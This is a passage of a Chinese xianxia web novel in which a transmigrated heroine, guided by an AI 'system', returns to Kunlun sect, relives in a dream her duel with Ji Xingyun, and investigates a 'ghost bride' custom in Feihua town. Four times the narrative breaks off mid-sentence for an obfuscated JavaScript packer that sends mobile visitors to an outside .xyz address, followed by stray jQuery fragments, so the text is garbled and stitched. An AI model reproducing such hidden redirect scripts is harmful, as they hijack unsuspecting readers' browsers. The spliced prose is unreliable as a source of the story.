江清月抬头看去,这才发现,原来黄衫弟子们口中的宗主另有其人,是一个面容平和,甚至有些普通的男人。
他面皮白净无须,身上套着一件交领黄色长袍,整体气质温润如书生,但佩在腰间的长剑为他又带来了一丝肃杀之气。
可一笑,那股肃杀之气便消失不见,取而代之的是一派平和,像是家中最常见的长辈。
他被一群弟子围在中间,一手摸一个,笑道:“弟子们在山上待久了,便总想着下山历练,没想到这次竟是碰上了魔族。唉,也怪我没探查清楚,好在这魔物攻击力不强……也幸好纪仙师能一同前来。纪仙师法力高强,一举便将魔物镇压,若是我来,哈哈,恐怕还得周旋一番呢!”
纪行云站在人群中,身上穿着昆仑山派统一的校服,背后背着一柄长剑。身姿修长挺拔,剑柄上翠绿的剑穗更衬得他面如冠玉,眉目清逸俊朗。一袭普普通通的青衫硬是被他穿出了一股仙风道骨的味道,瞧起来较百年前多了一丝从容和稳重。
他淡淡道:“田宗主过谦了。”
江清月听着他们俩你来我往,正思考如何优雅地逃跑时,却觉有一道灼热的视线停在她身上,像是要把她盯出一个洞,让人想忽视也难。可待她抬头看去,那视线却又消失不见。
江清月狐疑地扫视了周围一圈。众人都用崇敬的目光注视着恍如神降的两人,无一人将目光放在她身上——也许是她看错了?
“哎呀,这位小友,”田宗主例行夸完纪行云,笑眯眯转向江清月,“你帮了天启宗大忙,可有什么想要的吗?”
——有,赶紧放我离开!
江清月精神一振,可面对一众人,她口中说出来的话却是:“……我想拜入昆仑山派。”
她呆住了。
这种感觉十分怪异,明明是从她的嘴里说出来的话,但却完全不是她心中所想,反而像是被操控身体后做出的反应。
果不其然,下一瞬系统便在她脑海中得意洋洋道:【宿主,瞧本系统给你干的好事,开不开心?】
——我开心你大爷!!!
江清月不想理会这个人工智障。当务之急是要对纪行云说清楚,万一被纪行云发现自己的真实身份,岂不是要被他挫骨扬灰?
她甩甩头,将这个念头强压下去,诚挚开口道:“其实我刚才是神智不清……”
纪行云突然开口道:“可以。”
江清月被打断后一愣。嗯?这话是什么意思?
不仅是她,在场众人都听得一脸懵,不知他这突如其来的应答所为何事。
纪行云抬起眼睫,隔着数十人直直看向江清月,眼底有微光闪动,缓缓道:“你资质很高,适合修习昆仑山派功法。”
嗯嗯嗯?
江清月瞪大眼睛——她没听错吧?纪行云当真要带她回昆仑山派?就因为一句玩笑话?
田宗主的眼神在江清月和纪行云中间转了转,半晌笑道:“没想到,纪仙师出关一次,大有收获啊!本人在此先恭喜了!”
在场有人看不懂境况,颇为疑惑地同身旁人咬耳朵:“这啥意思?”
另一人自以为很小声地道:“我瞧着,好像是带回去当媳妇儿!”
江清月:“……”你们自己听听,这说的是人话吗?
众人议论纷纷,纪行云通通没去理会,只是翻手从囊袋中取出一叶灵舟,向她一颔首:“随我走吧。”
……
直到脸颊被被半空中的气流吹得微微发凉,她才有了一丝实感——自己竟然真的上了纪行云的灵舟,还跟着他回昆仑山派了?若是让他知道自己的真实身份,会不会把她直接丢下去?
江清月抿了抿唇,看向灵舟前方的纪行云,实在不理解事情怎么变成这样了。
其实上一世,她和纪行云的关系算不上生死仇敌,甚至还比旁人亲密。
二人从小拜入昆仑山派,说是相伴着长大都不为过。
纪行云是师尊收的最后一个弟子,也是最不上心的一个,凡事都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447472|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丢给门下的其他三个弟子,十分潇洒地做了甩手掌柜。于是,江清月便承担起了师尊的职责,传授他修习功法,教导他为人处世。
但她身为穿书者,是带着任务接近纪行云的,所有的准备都是为了最终的任务——解开纪行云身上的魔族封印。
随着二人长大成人,系统的催促也越来越急切:【宿主,心软是没有用的,他只是一个书中角色,这是他的既定命运。你的任务就是帮助他走上正轨。】
江清月不理解——什么是正轨呢?难不成纪行云一定要修魔吗?
系统道:【这是自然。他的体内封印着魔修血脉,迟早有一天要承受不住走火入魔。你们从小一起长大,如果是你来帮他解开魔族封印,说不定他还会感激你呢!不要有心里负担!到时我们任务完成,你可以过自己的生活,去任何地方游山玩水,这些前尘旧事就和你一点关系也没有啦!】
纪行云会感激她吗?
她不知道。
那天悬崖上的风太大,迷住了她的双眼,只有流淌过剑身的一抹血红印在她的眼底,让她怎么也忘不了。
想着往事,江清月的眼神慢慢瞟到纪行云的左肩。他肩上的伤口,好全了吗?还会痛吗?
不过,时间已经过去了一百年,他天资聪颖、修为也高,大概早就将身体洗髓换骨不知多少遍了……一个小小的剑伤怎么还会留在身上?
距离昆仑山派还有段路程,纪行云是不可能同她闲聊的,江清月只好撑着下巴发呆,漫无目的地胡思乱想打发时间。
突然,她脑中忽的划过一丝光亮,惊得她差点从灵舟上掉下去。
江清月忙坐好扶稳,在脑中同系统道:“你们是不是出BUG了?我不是已经把他身上的魔族封印解开了吗,怎么他还没堕魔,甚至还是一副万人敬仰的仙师之态?”
系统悄悄探出头:【宿主,这就是我违规控制您身体的原因。由于男主并未按照原剧情线修魔,其他剧情也跟着发生了更改,世界线现如今已经完全乱套了。系统总部也不知该小世界的后续发展会如何,系统猜测——也许这就是您死遁失败的缘由,还请节哀顺变。】
江清月眯了眯眼睛,准确抓住了重点:“等会,违规控制?”
系统声音一抖:【宿主您想干什么?我这都是为了任务着想啊!宿主可不能卸磨杀驴!】
江清月道:“行了行了,看出来你升级了,不用每句话都带个成语。不知道的还以为你偷偷啃了本成语大全。”
系统委屈地哼唧了两声:【我特意学的,这样听起来活人感更重。】
江清月道:“打住。你认清现实——你是人工智能,不是人。还有不要转移话题,违规操作是不是要给我一点补偿?我可是被你坑惨了!”
很显然,就算系统再升级两轮,心眼子也没她多,三言两语便被骗的找不着北,稀里糊涂地答应了补偿。
感觉到身侧空气微微搏动,江清月掩去嘴角的一抹微笑,抬头看去——亭台楼阁、檐角相接、仙鹤飞舞、祥云浮动。
昆仑山派到了。
5. 任务来啦
空无一人的寝殿内,江清月坐在塌上发呆,目光发直地盯着某一点,面上表情倒很是丰富,频繁变化。
若这时有人在侧,定是要大喊一声——完了,这人傻了!
其实她只是在与脑中的系统对话。
江清月奇道:“所以,你重新找上我,是想让我继续做任务?”
系统猛点头:【是的!但具体任务有变化——由于剧情线被打乱,该小世界的运行规则也出了问题,人界灾害频发、民不聊生。再这样下去,整个世界都会被毁灭。】
【由于您之前任务完成度非常高,所以系统权衡之下还是选择了宿主,来完成修复剧情线的任务。】
修复剧情线,顾名思义就是将剧情上崩坏的部分重新调整,让之回归原本的设定。
听着系统的夸赞,江清月罕见地默了一瞬——她之前的任务完成度稀碎,本人死遁也失败了,到底是哪里让系统觉得她有能力完成这项任务?
但系统好像生怕她会反悔一般,连声道:【宿主请放心,本系统已经为您争取到了补偿——】
随着毫无生机的机械音落下,几乎是同时,江清月便感觉四肢百骸被灵气盈满,四面八方的灵气像是归巢的幼鸟一般飞扑进她的丹田中。
不过十几息,她便觉自己干涸的丹田微微发热,竟是在一瞬间便完成筑基,跨过修真路上一大关口成了真正的修士。
灵流还在继续涌入,直到凝出颗金丹雏形时才勉强停下来。
系统雀跃道:【这只是您上一世灵力的四分之一,完成修复剧情线的任务,便可完全获得上一世的全部灵力啦!宿主,您喜欢这个补偿吗?】
这就是在诱惑她吧?可恶,还真的被诱惑到了!
江清月道:“好,我接了这个任务!”
虽说接任务时豪言壮志,但真正做起来,她便感觉到了理想和现实的参差。
纪行云将她带回来后,便总是不见人影,比起师尊当年也是有过之而无不及。果然是一脉相承,都喜欢放养。
除了桌上的通行令牌和经常更换的功法秘籍,她实在看不出纪行云竟还来探望过,也不知他是何时来何时去。
看来,修为降低了,她的警惕性也跟着降低了。
江清月赤脚下榻,走到桌边拿起那本边缘略微毛躁的小册子,来回抖了抖,又百无聊赖地坐了回去。
早在她还是刚入门的小弟子时,便已经将这些书看过无数回了。这本《清心诀》看着有些年头,好似是她送给纪行云的那本,不想现在竟是物归原主了。
但今日,她“哗啦啦”翻阅着《清心诀》,却是一点也静不下心来。
这些天,纪行云不出现,她正好乐得自在,拿着通行令牌将昆仑山派逛了个遍,四处打探消息,期望能找出个由头下山。
昆仑山派的山门结界极严格,除了经常下山采买的人员,其余弟子皆需要禀报了峰主,得到首肯才能下山,违者重罚。
江清月掂量了一下自己现在的小身板,确定抗不下戒律堂长老的一击,于是决定与采买弟子打好关系,曲线救国。
一百年过去,昆仑山派的大致陈设都没变,人员更新迭代,但都是一样的喜欢八卦闲聊。
她没费什么力气,便同一些天真无邪的小弟子打好了关系,甚至还从他们口中得知了这些年发生的各种大事小事。
一百年过去,很多事情都改变了——他们的师尊在仙魔大战中为镇压魔族战死、纪行云成了昆仑山派的宗主、还有她……成了修仙界人人喊打的魔头妖女。
一小弟子嗑着瓜子,嘴皮翻飞,眼里全是鄙夷:“我一想到自己竟然和江清月师出同门,就感到恶心。这种胆大包天忘恩负义、背叛师门迫害同门的人,就是神魂俱裂都死不足惜,我还要夸一句死得好、死得妙!”
另一人接话道:“就是就是!若不是她死的早,我见了也要上去同她过上两招的!”
就在旁边听着的江清月本人:“……”
——风评被害!
这是造谣,纯粹是造谣!
那小弟子见她面色古怪,忙“呸呸呸”将嘴里的瓜子皮吐了个干净,惊慌道:“你不会是宗主派来的间谍吧???哦,不是,不是就好!可吓死我了,宗主他不让我们在昆仑山派聊这些东西,说是造假传谣云云……要我说宗主还是太善良,竟然还为妖女说话!哎对了,你可千万别把我供出去了,要不然下次偷吃零食不带你……”
江清月听着他在耳边叭叭,心里五味杂陈,半晌才回了一个“嗯”,勉强保住了他们一起偷吃零食的革命友谊。
可她百思不得其解——在她还是昆仑山派大师姐的那几年,自问没得罪过什么人,就算实在不喜某人为人处世之风,也只是默默远离不与人交恶。
到底是和她有多大仇恨之人,才会在她死后一百年传这种谣言?
她明明是“为民除害,伸张正义”,怎么在世人口中倒成了修真界的过街老鼠?哪个宵小在编排陷害她?!
江清月用指尖轻轻摩挲着额角,只感觉前途一片黑暗:“系统,这种话已经深深危害了你宿主的身心健康,我要求找出幕后传谣之人,与之决一死战!”
系统很是无奈道:【抱歉,系统无法做到。剧情线被毁,一切数据都乱套了,系统也不知道是何人所为。】
闻言,江清月彻底瘫倒在塌上,滚来滚去哀嚎不已。
见此,系统灵机一动,忽的想起各位前辈的谆谆教导,急忙从书库中找出《如何让你的宿主保持心情愉悦》,半晌后终于翻阅到一条看起来不那么奇怪的建议,颇有信心地念出来:【宿主,人生在世难免遇到挫折坎坷,多出去走走看看,呼吸新鲜空气,事情会好起来的!】
啊,多么美妙的心灵鸡汤!宿主现在肯定好多了吧?
系统兴致勃勃,江清月目光呆滞。
她喃喃道:“出去走走?这些天我都快把昆仑山派逛遍了……不过,好像还真有一个地方没去过!走,我们出去散散心!”
语毕,江清月三两下穿好衣服蹬上鞋,抓起通行令便朝外跑去。
系统笑着合上《如何让你的宿主保持心情愉悦》,又拍了拍书的封面——好书,真是好书!
……
昆仑山派分为几大峰,除了原先居住的万仞峰,她最常光临的便是种满各类奇花异果的灵草峰。
修
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447473|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仙界的土地中也蕴含着充裕的灵气,对于各类灵植自然是好处多多,可对于普通植物来说,便不是适宜生存之地。
江清月不信邪。
她那时刚穿过来不久,吃不惯修真界没甚滋味的食物,便专门在灵草峰上寻了一块地,种下了几棵小桃树苗,期望着能供她嘴馋解闷。没想到那桃树竟是意外的争气,长得枝繁叶茂,硕果累累。
江清月行走其间,拨开果树旁生的枝干,奇道:“没想到一百年前种下的桃树,现在竟还活着呢!”
系统也跟着瞧:【这桃林好像比之前大了不少。】
“是吗?”江清月笑道,“那就是它生命力顽强了,没人看顾也能茁壮成长,还长得这么红这么大,肯定很甜!这么多桃子熟了竟都没人摘,那可就便宜我啦!”
说着,她便伸手去摘桃,可还未碰到,便觉一道灵力裹挟着杀意直直向着她攻来。
江清月心中一紧,忙后撤两步避开,随后向旁边看去,正好对上一女修的眼睛。
她身上穿着昆仑山派的校服,背上背着一柄长剑。身量纤长,面容精致,只是眼中燃着熊熊怒火,像是下一瞬便要冲过来同她决一死战。
面对那女修愤怒的眼神,她心中不由得尴尬一瞬,有种干坏事被抓包的窘迫,但下一秒便反应过来——不对啊,这片桃林是她种下的,况且大家都可以随意摘食,她心虚个什么劲?
反而是这陌生女修,竟在宗门内随意伤人,这种行为要不得。
于是,她撑起一点大师姐的架子,问道:“你是何人?为何要在宗门内无故伤人?”
闻言,那女修的反应竟是比她还惊讶,指着自己道:“你不认识我?哼,你又是从哪来的,是谁的弟子?还是哪家的门客散修?竟不知道我的规矩?”
这话说的好大口气。
但这股狂劲的确很有气势,江清月面对她一连串的追问,竟是一时语塞。
她如今身份尴尬。纪行云虽将她带回昆仑山派,但总是不见人影,也未在各峰主长老面前言明她的身份,所以她与纪行云不是“师徒”,自然也算不上附庸门派的门客散修……顶多,算是个闲人。
见江清月支支吾吾,那女修冷哼一声,面色倒是和缓了些:“我瞧你面生,应是新来的外门弟子,谅你是初犯,便也不追究……等等,这是什么?!”
话音未落,她突然面色突变,一把抓起江清月腰上的玉佩,质问道。
江清月低头看去,是纪行云给她的通行令牌,不由心思一转急中生智道:“其实,我是纪、纪仙师的弟子!亲传弟子!他让我来桃林里摘两个回去孝敬他老人家!”
她边说,边不住地观察面前之人的神情。
本以为这女修会看在纪行云宗主的身份放她一马、各退一步。却不想她面色更是冷峻,一丝笑意也无,恨声道:“原来是他让你来的!这个卑鄙无耻的小人!”
小人?谁?纪行云?
见她手中有光亮渐渐凝聚,江清月心中顿呼不妙,急忙催动灵力后撤避开。待她再回头看去,方才她站立的地方,已经被灵力暴击轰得陷下去一个大坑。
江清月眼睛瞪大——不是吧?来真的?
6. 船到桥头自然直
她扶着膝盖微微喘息。
见那女修翻手凝出灵力暴击,一击不中还要再打,江清月一叠声道:“等会,死也要让我死个明白吧?我就想摘个桃吃到底哪里惹到你了?你也可以吃啊……哎别打别打……美人,生气伤身,你心里有啥不顺的,跟我说说呗,总是使用暴力是行不通的!”
江清月这人有个毛病,情形越是危机,嘴上的花花功夫就越是停不下来。她一边说,一边借着地形优势四处躲藏,竟是都有惊无险地躲过了攻击。
那女修气得眼眶都红了:“你给我闭嘴!”
“那可不行,我不能闭嘴!要不然到时候一不小心死了,都还有一肚子的话没说完,多憋得慌……哎呦!”
江清月正回头喊话,再一扭头却撞上了一具坚实的身躯,抬头一看,竟是多日不见的纪行云!
他眉头紧蹙,手上动作却不停,一把将江清月移至身后,另一只手快速凝出一记暴击与那女修两两相抵,开口警示道:“魏音尘!”
魏音尘仍是面色不善:“哟,来撑腰了?惺惺作态!你不用摆出一副宗主的样子来应付我,好像披上这层皮就变得多高尚一样!实际上,不过是个沽名钓誉的小人罢了!”
……
后续他们再纠缠说了些什么,江清月完全听不进去,她脑海里只有一个念头——这人是魏音尘?她的三师妹?那个会追在她身后甜甜叫她师姐的小糯米团子?!
多年不见,她长高了不少,法力也变强了。
只是……人设怎么天翻地覆变成凶悍大杀器了?瞧这嘴笃笃笃笃跟个机关炮一样,和一百年前相比变化也太大了!她都没认出来!
直到出了桃林,回到万仞峰,江清月仍是一言不发,她在脑海中循环播放着魏音尘的一言一行和临走前最后听到的那句话——“管好你下面的人,下次再碰我的东西,她那双手就别想要了!”
她这话是什么意思?怎么看起来魏音尘和纪行云很不对付的样子?她死遁的这一百年到底发生了什么???
江清月心中有无数疑问正在翻涌,可看着纪行云苍白冷淡的脸色,她又硬生生憋了回去。
二人一路无话,直到行至她居住的寝殿门口,纪行云才开口问道:“你为何去了那片桃林?”
果然,还是躲不掉这个问题。
“我……弟子随便转了转,不想却是惹了麻烦,”江清月眼珠转了转,十分自然地将话题转开,“仙师面色看起来很不好,是发生什么事了吗?”
“无事。”纪行云移开目光,像是在看殿旁郁郁葱葱的花草,语气波澜不惊:“方才我在闭关,未能及时赶到……可有受伤吗?”
受伤倒没有,就是心灵遭受了不小的冲击,还产生了很多疑问。
当然这些话她不能在纪行云面前说,不然等她的就不是“可有受伤”,而是“妖女拿命来!”
此时自己灵力微弱,在纪行云手下恐怕连十招都应付不来,只有等死的份。
画面太可怕,她忙将这个念头压下去,摆出一个担惊受怕过度的无知小弟子形象,嗫嚅着道:“弟子无事……若非仙师救命,恐怕就小命不保了,仙师真是法力高强让人敬佩不已……”
这番话说得真假参半,但话中的恭维意味很浓。
说着,她暗暗抬眼觑纪行云的神色,却不想正好撞上他向下看来的目光,极具穿透性,像是她的全部伪装都被这道目光剥开,赤裸裸的袒露在纪行云面前。
江清月的心跳猛地漏了一拍,她忙垂下眼神,不敢再拍马屁,生怕拍到马蹄子上,死遁后的新生活还没开始就夭折了:“纪仙师,我说错什么了吗?”
纪行云克制地收回目光,喉头微动,半晌后才道:“……无事,是我自己的问题。在我闭关期间,你呆在此地,不要乱跑。”
江清月知道其实他想说的是“不要惹是生非”,嗯嗯啊啊随便应了,一副忧心忡忡的模样目送他离开,随后直接转身便去寝殿收拾行李——她不惹事,她今晚就下山!
真是天助她也,纪行云一闭关,可就没人管她了,届时她想去哪里去哪里,也不必再偷偷摸摸伪装成采买弟子……
嘿嘿,任务我来啦!
然而,理想很丰满,现实很残酷。
刚把小包袱提起来,还没踏出寝殿门槛,江清月便眼前一花,直接出现在了一处纯白的空间内。
说实话,江清月有一瞬间是蒙的——这什么情况?她不是正在跑路吗?
她提了提肩上的布包,试探着在脑中呼喊系统,却久久没有得到回应,不由得心中微微一动……此情此景,好像似曾相识?
为验证心中猜想是真是假,江清月随便选了个方向便大步向前,不过行了数十步,眼前的景象便逐渐清晰起来,不再是一成不变的白雾。
江清月心中连道“原来如此”,她是进入了纪行云的梦中之境。
难怪在这里呼叫系统不成功——因为系统是人工智能,根本不会做梦。
可奇怪的是,她方才并未入睡,怎么还是被纪行云拉进梦里来了?
依照古书典籍所言,梦境有两种可进入方法——其一是主动进入,即某人迫切地想与之在梦中相见,便会提前与人商量好入梦口令,当晚便可圆梦;其二是被迫入梦,即梦境之人神魂虚弱、心绪不稳、无意间将周围人拉了进来。
之前她常用第一种方法进纪行云梦中,可今世却完全没干过。
看来,是纪行云修行出了故障,以至于无法控制,无意间将她拉了进来。
江清月叹了口气。也算是误打误撞了,这里有不少美好的回忆,没想到还能再重温故地。
但既来之则安之。被迫入梦,那便看看再走,也不算白来一趟。她始终相信车到山前必有路,船到桥头自然直。
却不想,船头一晃,撞到大冰山上,沉了。
白雾之后是一片血红。
地上横七竖八躺着很多具尸体,有修士,也有魔修。尸身上的血将整片悬崖都染透了,血腥气混杂着杀意扑面而来,让人心惊肉跳。
满地的尸体中,只有两个人影还未倒下,但一站一跪,胜负已分。
江清月被这血淋淋的一幕惊了一惊,哪里还有不明白——那两人那分明就是她和纪行云!
这里分明是上一世二人决战的悬崖!
纪行云怎么会在梦中重温这个场景?
梦境中的纪行云跪坐在地,一柄长剑自他左肩穿透而出,染红了他身上的青衣。他体
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447474|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
内的生机正慢慢顺着伤口流出,脸上的血色也在一点点消散。可他恍若未觉,只是执拗地看向面前一袭白衫的女子,喃喃道:“师姐?你为何……”
随后,她听见自己的声音传来,不带一丝情感:“因为你是魔族。非我族类,其心必异,当诛。”
纪行云有些语无伦次:“我,我不知道自己是魔,我不想的……师姐你别不要我……呃!”
而握着剑柄的手,却是又毫不迟疑地往里刺了一寸,打断了他的辩白:“……住口,你不配叫我师姐,滚回你的魔界去!”
……
江清月不敢再听了。
她迷茫地想:自己当时的话怎么如此冷漠伤人?
她不想再听,但声音还是源源不断的传入她的耳中。两人的对话在她脑中盘旋缠绕,纪行云的字字泣血和她的冷酷无情将她的头脑搅成一团乱麻,就连自己是什么时候出来的都不知道。
还是系统的声音将她从那种迷茫的幻境中惊醒:【宿主,宿主?您没事吧?刚刚您突然晕倒了,哎呀怎么一脑门的汗?哎呀您这是做什么?!】
江清月给了自己一巴掌,接着抹去脸上未干的泪痕,冷静道:“系统,走吧。去做任务。”
……
“话说这天下,以前可不似现在太平,魔族频繁侵扰,那是天天打架日日死人,每天死的人摞起来比咱们这家店还高!可是有一天呀,横空出世一名女修者,法力高强,心地善良……”
热闹的茶馆中,一名说书先生正拍着惊堂木,口若悬河地讲着修仙界的逸闻轶事。几桌客人或是闲聊,或是听书,一派悠然自得。
江清月戴着一顶斗笠,掀开大门处的纱帘,捡了个最角落的位置坐下。
她连夜赶路,口渴得很,忙招了小二上茶,可茶刚送到嘴边,便听一人大声嘘道:“你这讲得什么破故事?一百年过去,故事版本早就该换换了吧?如今谁人不知这女修是臭名昭著的江清月?本少爷最讨厌的就是她!你再讲她的故事,小心我把你店给砸了!”
她听到自己的名字,抬头,便见一个瘦的像麻杆一样的人正拍桌而起,对着讲桌上的说书先生破空大骂。
麻杆身边跟着几个小厮打扮的人,闻言便紧跟着站起,一下子将桌上的茶具碗筷全都扫落在了地上,瞧起来十分不好惹。
店内的几桌人眼见起了纷争,顿时也顾不上其他,一溜烟便没了踪迹。
几息之间,店内便走得精光,只剩下说书先生同麻杆少爷和他的一群小厮对峙。
说书先生嘴唇都在颤抖:“你……你们也太不讲理了!不想听就不听,凭什么砸店?”
“嗨呀,少爷教训你听着便是!还敢顶嘴?兄弟们,给我狠狠地教训他!”
“……”江清月坐在角落听完来龙去脉,无奈放下茶杯——没想到自己还是个腥风血雨的体质,这也能打起来?
麻杆笑得很是得意,将双腿叠放在桌上,欣赏着说书先生脸上惊恐的神情:“挨了今天这顿打,以后可要记好了,不准再讲……哎呦!我的屁股!谁?!”
麻杆愤怒回头,想要看是谁这么胆大包天,竟敢戏弄他!
身后,一个白衣女修笑道:“你不认识我?我是江清月。”
7. 鬼妻1
闻言,在场众人都是一惊,随即爆发出惊天动地的大笑。
一小厮上下打量她,不屑道:“天底下谁人不知,江清月早就死在了一百年前的仙魔大战中,乃是当今昆仑山派的宗主大义灭亲,亲手将之打落悬崖……你这个黄毛丫头……呵呵,怎么瞧都不是吧?”
那麻杆少爷更是笑得腰都直不起来,一边揉着自己摔成两瓣的屁股,一边猥琐笑道:“小美人,瞧你长得细皮嫩肉的,当什么修仙者,不如来当本少爷的第十八房小妾?”
随行的几个小厮登时跟着发出不怀好意的笑声。
江清月也跟着笑。
她笑意加深一分,手上的力气便加重一分,那张从麻杆屁股底下抽出来的椅子就这么在众目睽睽之下碎成了齑粉。
见状,众人不笑了。
一片寂静中,方才叫嚣得最凶的麻杆少爷扑通一声跪倒在地,哭喊道:“都是这群不长眼的狗奴才骗了我啊!您就是江清月,就是大名鼎鼎的仗义修士!还请您大人不记小人过饶了小人吧,我爹娘还在家里等我……你们这群狗奴才,还不快点下跪谢罪?!”
江清月挑了挑眉——他倒是能屈能伸。
眼见着身前跪倒一片,她伸手止住说书先生颤颤巍巍的动作,道:“饶你们一命,可以,但我有个要求。将今日店内的损失全部折成现银交于店家,且日后不得无故打砸这家店铺,也不许打砸其他店。若是让我再看到一次,下场便如此椅。”
麻杆被刚刚那椅子的惨状吓得肝胆俱裂,此刻哪里还有什么不答应的,点着头全应了下来:“是是是,您说的对!我们一定和各位店家和平相处!快,旺财,给钱!!!”
“哦对了……”
麻杆脸上的笑已经快比哭还难看了:“您还有什么吩咐?”
江清月扶了扶斗笠,客气道:“飞花镇怎么走?”
……
“飞花镇”镇如其名,放眼望去,处处都种着不知名的花树。树干枝叶繁茂,美不胜收,大朵大朵圆润饱满的花朵坠在枝干上,几乎要触到人的头顶。
就连房屋也是建在一片粉白嫣红的包裹之中,瞧起来美不胜收,仿若仙境。
可与这热烈花景相对的是,街道上有些安静过头了。
江清月随手把玩着路边捡的一根树枝,将其挽出繁杂的剑花,一边走在飞花镇长街上,一边打量整座小镇。
自她进入飞花镇,连一丝人影都没见到过,家家户户大白天便紧闭门窗,仿若整座镇子都陷入沉睡。
可待她走过门前窗后,却又能感觉到几束视线从其后探出来,小心翼翼又满怀戒备地盯着她这个外来人。
明明房中有人,却要躲起来……究竟是什么让他们不想、或者说是不敢出门?
系统在她脑海里道:【宿主,经系统检测,此地的能量波动十分异常,想来就是导致剧情线崩坏的原因……】
江清月分出一丝心神听着系统说,心不在焉的应了两声。在她赶路途中,系统已经告知因剧情崩坏,无法获取飞花镇目前的具体情况,一切都要等着她去探查。
什么线索都没有……这任务属实是有点艰巨。
就在这时,她忽然捕捉到一丝不同寻常的乐声,急忙叫停系统,侧耳细听:“你听,什么声音?”
系统跟着安静下来:【好像,是有人要娶亲?】
“去看看,说不定能发现什么。”
江清月循着乐声拐过一个路口,呈现在她眼前的是一支嫁娶送亲的队伍。
这支送亲队伍十分简短,甚至有些简陋——整队仪仗由七八个男子组成,仪仗前方没有骑着高头大马、意气风发的新郎官,只有一顶孤零零的红色喜轿,被四个轿夫抬着,摇摇晃晃地朝着她这个方向缓步走来。
仪仗旁边跟着几个吹奏喜乐的随行人员,乐曲很热闹欢快,但他们脸上却是一丝笑模样都没有,全都是绷着面皮,神情紧张。
街道旁也没有人围着接喜糖、讨福气,空荡的长街上只有这队送亲队伍吹吹打打。镇民则都缩在屋内,不知是不是正悄悄地透过门缝看这一乐景。
于是,一闹一静,竟是交织出一股让人脊背发寒的阴冷。
怪,实在是怪。
就在这时,她身后突然传来一道苍老年迈的声音,笑道:“小姑娘,我瞧你对这很感兴趣啊?呵呵,这是我们这的习俗,一年一度的接鬼妻。”
——接鬼妻?
她状似无意地看了看老婆婆身后敞开的大门,脸上露出了点笑意:“是吗,我倒真是没听说过。这接鬼妻……是结阴亲吗?新娘过世了?”
老婆婆哈哈笑:“一看你就是外乡人。新娘自然都是活人,只不过她所嫁之人不是活人,而是山神。”
江清月心中一动,接着套近乎:“原来如此。不知这山神……”
她还欲再问,便听那送亲队伍中忽的传出一声惊叫,离得太远她听不清具体,但抬轿的几人仿佛是见到什么可怕至极的妖魔一般,吓得两股战战,将那顶红色小轿丢在原地,逃了个无影无踪。
那顶喜轿就这么被他们丢弃在地上,可怜兮兮,就连轿中的新娘都被颠簸了半边身子出来。
等等,不对……
江清月拧眉看去——那从喜轿中露出的半个身体,竟是个毫无生气的木雕像。
新娘是假人?!
她心中疑窦重重,正想回头再问问那老婆婆,便见一名妇人正将其拉进屋内,口中还恶狠狠骂道:“我说了多少遍,不要看不要出来不要多嘴!你就非要惹事非要毁了我们这个家吗?还有你——”
她猛地抬眼看向江清月:“从哪来的回哪去,这里不是你们这些年轻小姑娘该来的地方,快滚快滚!”
话闭,木门“砰”的一声在她面前轰然关闭,隔绝一切声响。
长街上又恢复了原本的寂静。
江清月悻悻收回手,摸了摸眉尾,叹了口气。她原本还想同那婆婆打好关系,在此借住一晚,看来也是行不通。也罢,随便找个没人的破庙对付一晚得了。
此时暮色四合,夕阳透过树缝照在破庙的墙上,留下一道道黑影。风一吹,数道黑影便随风簌簌而动,瞧起来阴森可怖。空气中还传来一阵隐隐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447475|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
约约若有似无的哭声,若是一个普通人见到此景,能活活把自己吓抽过去。
但江清月胆子奇大,甚至还能反过来安慰系统:“你怕什么,你又没有实体,就算真的有鬼,也抓不到你。”
系统哆哆嗦嗦:【宿主,咱们换个地方住吧……】
江清月道:“我也想啊,这不是没地方去嘛,将就一晚吧。”
她一边说,一边往破庙里走,跨过门槛,迎面看见的是一座塌了半边的神像,供桌上摆着些干瘪的果子,有些还被老鼠啃了几口。
在供桌下,窝着一个黑糊糊的身影,正发出幽幽的抽泣声。
